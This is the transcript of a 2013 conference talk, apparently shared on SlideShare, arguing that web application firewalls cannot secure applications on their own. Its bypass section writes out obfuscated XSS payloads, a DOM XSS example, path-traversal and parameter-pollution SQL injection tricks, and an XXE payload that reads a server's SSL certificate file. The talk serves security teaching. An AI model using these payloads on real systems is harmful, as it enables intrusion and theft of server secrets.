«We protect your website» – No you don`t
 

«We protect your website» – No you don`t

on

  • 819 views

 

Statistics

Views

Total Views
819
Views on SlideShare
747
Embed Views
72

Actions

Likes
1
Downloads
6
Comments
0

2 Embeds 72

http://www.digicomp.ch 47
http://news.digicomp.ch 25

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

«We protect your website» – No you don`t «We protect your website» – No you don`t Presentation Transcript

  • “We protect you applications”!“No, you don’t”Digicomp Hacking Day 2013May 16th 2013
  • Sven Vetsch§  Partner & CTO at Redguard AG§  www.redguard.ch§  Specialized in Application Security§  (Web, Web-Services, Mobile, …)§  Leader OWASP Switzerland§  www.owasp.org / www.owasp.ch sven.vetsch@redguard.ch Twitter: @disenchant_ch / @redguard_ch
  • Sven Vetsch§  Partner & CTO at Redguard AG§  www.redguard.ch§  Specialized in Application Security§  (Web, Web-Services, Mobile, …)§  Leader OWASP Switzerland§  www.owasp.org / www.owasp.ch sven.vetsch@redguard.ch Twitter: @disenchant_ch / @redguard_ch
  • DisclaimerThis presentation is focused on classic WAFfunctionality so we won’t get into Single-Sign-On, Content Injection and so on.All the views in this presentation are my ownand not necessarily those of Redguard AG.
  • OutlineWAF  in  numbers  What  do  vendors  tell  you  Bypassing  techniques  
  • IntroI
  • >80%  of organizations were attackedsuccessfully at least once in 2011Perceptions About Network Security - Ponemon Institute© Research Report, 2011
  • Companies hacked in 2012/2013
  • 23%  already experienced a data orsystem breach as a result of anapplication layer vulnerabilityWhiteHat Security – Website Security Statistics Report May 2013
  • … only 29% in banking55.6%  of all organizations use WAFsWhiteHat Security – Website Security Statistics Report May 2013
  • WAF Deployment by IndustryWhiteHat Security – Website Security Statistics Report May 201329301730323050201210108433017303629171012BankingFinancial ServicesHealthcareRetailTechnologyMonitoring and actively blocking attacks Currently only monitoring trafficInstalling and/or configuration mode No WAF deployedDont know
  • WAF usage after a breach38%19%6%6%31%Monitoring and actively blocking attacksCurrently only monitoring trafficInstalling and/or configuration modeDont knowNo WAF deployedWhiteHat Security – Website Security Statistics Report May 2013
  • 62%  of attacks can be blockedby a WAF with default rule setsNT OBJECTives - Analyzing the Effectiveness of Web Application Firewalls 2011
  • Organizations with aWeb Application Firewalldeployed had11% more vulnerabilities,resolved them 8% slower,and had a7% lower remediation rate.WhiteHat Security – Website Security Statistics Report May 2013
  • A WAF makes meless secure!?
  • §  Possible reasons:§  Insufficient global security processes§  Rules are not sufficient§  Not enough resources to manage the WAF§  WAFs are threated as if they could solve allproblem§  WAFs are only in monitoring mode instead ofblocking anything§  …
  • A WAF is a tool,not a solution
  • Don’t worry, there are also good news
  • By summing all these percentages upwe could safely say that a WAF couldfeasible help mitigate the risk of atleast71%of all custom web applicationvulnerabilitiesWhiteHat Security – Website Security Statistics Report May 2012
  • Vendor ClaimsII
  • 12 May 2013 Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch 21Vendor Supplied Certificate “[Product] guarantees security of webapplications.”
  • 12 May 2013 Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch 22Vendor Supplied Certificate “The [Company] Web Application Firewallquickly protects web servers from databreaches and websites from defacementwithout administrators waiting for clean codeor even knowing how an application works.”
  • 12 May 2013 Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch 23Vendor Supplied Certificate “Fully addresses PCI 6.6”
  • 15 May 2013 Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch 24Vendor Supplied Certificate “Fully addresses PCI 6.6” Data Security Standard v26.6 For public-facing web applications, address new threats andvulnerabilities on an ongoing basis and ensure these applications areprotected against known attacks by either of the following methods:•  Reviewing public-facing web applications via manual or automatedapplication vulnerability security assessment tools or methods, atleast annually and after any changes•  Installing a web-application firewall in front of public-facing webapplications
  • 12 May 2013 Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch 25Vendor Supplied Certificate “Because of its unique blend of HTML and XMLsecurity, the [Company] Web Application Firewallprovides a full compliance solution for the PCIDSS sections 6.5 and 6.6, which mandate theimplementation of a Web application firewall byJune 30, 2008.”
  • 15 May 2013 Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch 26Vendor Supplied Certificate “Because of its unique blend of HTML and XMLsecurity, the [Company] Web Application Firewallprovides a full compliance solution for the PCIDSS sections 6.5 and 6.6, which mandate theimplementation of a Web application firewall byJune 30, 2008.” Data Security Standard v26.5 Develop applications based on secure coding guidelines. Preventcommon coding vulnerabilities in software development processes, toinclude the following: [OWASP Top 10]
  • 15 May 2013 Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch 27Vendor Supplied Certificate The [Product] offers you the followingtechnical features:•  ...•  Session fixation•  …
  • 12 May 2013 Redguard AG | Sven Vetsch | sven.vetsch@redguard.ch 28Vendor Supplied Certificate The [Product] offers you the followingtechnical features:•  ...•  Session fixation•  …
  • Bypassing WAFsIII
  • Insecure Rules§  Let’s take the following pseudo rule:if ($path == "/admin") {if ($ipaddr == $internal_ipaddr)[block request]else[allow request]}
  • Insecure RulesWAF/admin192.168.1.42  203.0.113.23  
  • Insecure RulesWAF/../admin192.168.1.42  203.0.113.23  
  • Insecure Rules"/admin" == "/admin"-> true"/../admin" == "/admin"-> false
  • XSS – Obfuscation§  When non-security people talk about XSS<script>alert("XSS");</script>
  • XSS – Obfuscation§  When security people talk about XSS<script>alert(String.fromCharCode(88,83,83));</script><IMGSRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  • XSS – Obfuscation§  When appsec people talk about XSS<script>window[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]](("XSS"))</script>
  • XSS – Obfuscation§  When appsec people talk about XSS<script>[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+[]]+([][[]]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+…</script>Try it yourself: http://patriciopalladino.com/files/hieroglyphy/
  • DOM-based XSS<!DOCTYPE html><html><body>Hello <span id="name"></span><script>document.getElementById("name").innerHTML =document.location.hash.slice(1);</script></body></html>
  • DOM-based XSS<!DOCTYPE html><html><body>Hello <span id="name"></span><script>document.getElementById("name").innerHTML =document.location.hash.slice(1);</script></body></html>
  • DOM-based XSShttp://www.example.com/#Johnhttp://www.example.com/#<h1>John</h1>
  • DOM-based XSShttp://www.example.com/#<img src="x"onerror="alert(1)"/>
  • A XSS attack like the one showedneverhits the server… so screw your WAF
  • Cross-Site Request Forgery (CSRF)http://www.evil.com http://www.nice.com1 32<imgsrc=“http://www.nice.com/buy?article=123” />
  • Without understanding theapplication or modifying the HTTPresponse, a WAFcan’t protectagainst CSRFattacks.
  • … my experience wouldbe more around 50%11.2%  of all application are vulnerableto CSRF attacksWhiteHat Security – Website Security Statistics Report May 2013
  • HTTP Parameter Pollution (HPP)http://www.google.com/?q=<script>&q=alert("XSS")&q=</script>
  • HTTP Parameter Pollution (HPP)http://www.example.com/?id=1&id=2Technology   Behavior   Result  ASP  /  ASP.NET   ConcatenaJon   id=1,2  PHP   Last  occurrence   id=2  Java   First  occurrence   id=1  
  • HTTP Parameter Pollution (HPP)§  Let’s have a look at the following simplepseudo rule against SQL Injection attacks:if $param_id.match(/.*select.*from.*/)[block request]
  • HTTP Parameter Pollution (HPP)http://www.example.com/page.aspx?id=123http://www.example.com/page.aspx?id=123;select%201,password%20from%20users;%20--http://www.example.com/page.aspx?id=123;&id=select%201&id=password%20from%20users;%20--
  • HTTP Parameter Pollution (HPP)http://www.example.com/page.aspx?id=123;&id=select%201&id=password%20from%20users;%20--§  id = 123;§  id = select 1§  id = password from users; ---> 123; select 1,password from users; --
  • WAF rules arenotplatform independent
  • More things your WAF isn’t good at§  Anti-Automation and process validation§  Understanding application logic§  Insufficient Authentication & Authorization§  Brute Force Attacks§  Session Fixation§  Anomaly Detection§  Improper Filesystem Permissions§  Securing client side running code§  …
  • Hacking a WAF (for fun and profit)§  In the past, WAFs also suffered fromvulnerabilities like:§  Filter Bypasses (a lot of them!!!)§  XSS in their web admin interface§  CSRF in their web admin interface§  Default SSH root passwords§  Information Disclosure about the LAN/DMZ§  Arbitrary remote command execution§  XML External Entity (XXE) Attacks
  • Hacking a WAF (for fun and profit)Example scenario based on ModSecurityXML External Entity (XXE) vulnerabilityCVE-2013-1915
  • Hacking a WAF (for fun and profit)WAF
  • Hacking a WAF (for fun and profit)/etc/apache2/ssl/cert.pemWAF
  • Hacking a WAF (for fun and profit)Request:Response:<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/apache2/ssl/cert.pem">]><foo>&xxe;</foo>
  • Hacking a WAF (for fun and profit)WAF
  • Wrap UpIV
  • ConclusionWAFs …§  are good – at least they can help you§  must be tuned by a trained professional§  can’t compensate insecure code§  aren’t an alternative to patching vulnerabilities§  can generate a lot of profit for vendors so becareful about what features you really needand how well they perform§  don’t solve all your appsec problems
  • We should accept WAFs for whatthey really are: a method ofincreasing the cost of attacks, butnot necessarily one that mightrepel every attacker.Ivan Ristic
  • Q & Asven.vetsch@redguard.ch@disenchant_ch / @redguard_ch